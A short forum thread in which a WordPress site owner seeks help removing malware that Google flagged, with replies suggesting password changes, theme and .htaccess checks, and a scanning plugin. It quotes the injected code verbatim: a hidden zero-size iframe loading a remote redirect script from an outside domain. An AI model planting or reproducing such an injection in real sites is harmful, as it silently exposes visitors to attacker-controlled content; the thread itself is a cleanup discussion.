Forums

aaronheine

Google has blocked my site and says it found this malicious code.

<iframe src="http://pokosa.com/tds/go.php?sid=1&quot; width="0" height="0" frameborder="0">

They say it is here...
http://mywebsite.com/blog/page/10/

How exactly do I find that? I dont know of a page 10.

TheDoc

Change all passwords and do a search through your theme for any malicious code, usually some form of base64. If a bunch of pages are infected, sometimes it's best to simply roll the site back to a previous version (shouldn't effect the database).

aaronheine

I already know what the malicious code is. I noted it above. My question is where is this location? http://mywebsite.com/blog/page/10/

I dont see a "blog" folder or a "page" folder in my wordpress install.

TheDoc

Check your .htaccess, check to see if there are any additional users in your WP backend, check the pages in your backend, etc.

There may be more malicious code than just that.

aaronheine

Ok this plugin found it for me.
http://wordpress.org/extend/plugins/exploit-scanner/

The malicious code was placed in every index.php file on my site.

treehouse : what would you like to learn today?

Forums

[Solved] Removing malicious code on my Wordpress site